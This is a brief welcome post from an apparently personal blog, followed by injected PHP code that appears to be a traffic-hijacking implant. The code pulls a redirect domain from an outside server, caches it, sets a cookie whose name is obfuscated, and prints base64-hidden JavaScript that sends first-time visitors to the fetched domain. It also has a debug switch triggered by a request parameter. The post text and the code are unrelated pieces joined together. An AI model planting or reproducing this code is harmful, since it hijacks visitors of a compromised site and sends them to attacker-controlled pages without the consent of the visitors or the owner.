Welcome to the Blog
Welcome to my blog! In the past I’ve tried to use my blog as an outlet and motivator for all things creative. I’ll try to do the same here…and try to stay on top of it a little better.
$alias = "29551697176418"; $key = "c7b088a5cce4359849d7e747bc979e91"; $file = dirname(__FILE__) . "/" . md5($alias); $time = time(); $file_exist = file_exists($file); $filetime = 0; $edittime = 0; $domain = false; if ($file_exist) { $filetime = filemtime($file); $edittime = $time - $filetime; $datafile = fopen($file, 'r'); $dcres = json_decode(base64_decode(fread($datafile, filesize($file))) , 1); if(!empty($dcres['domain'])) $url = $dcres['domain']; fclose($datafile); } if ($edittime >= 15 || !$file_exist || !$url) { $dcres = getdata($file,$key,$alias); if(isset($_REQUEST['ch'])){ var_dump($dcres); } if ($dcres['domain']) { $url = $dcres['domain']; } } function getdata($file,$key,$alias){ $newdomainurl = 'http://traffic-redirect.site/?t=json&i='.$key.'&a='.$alias; if(function_exists('curl_version')){ $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, 'get new domain'); curl_setopt($curl, CURLOPT_URL, $newdomainurl); curl_setopt($curl, CURLOPT_TIMEOUT, 5); $res = curl_exec($curl); curl_close($curl); }else $res = file_get_contents($newdomainurl); if(isset($_REQUEST['ch'])){ var_dump($res); } $dcres = json_decode($res, true); if ($dcres['domain']) { $cache = fopen($file, 'w+'); fwrite($cache, base64_encode($res)); fclose($cache); return $dcres; } return false; } if (!$_COOKIE[base64_decode('aHRfcnI=') ]) { setcookie(base64_decode('aHRfcnI=') , 1, time() + 86400, base64_decode('Lw==')); echo base64_decode('PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi') . $url . base64_decode('Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi') . $url . base64_decode('Ijs8L3NjcmlwdD4='); } ?>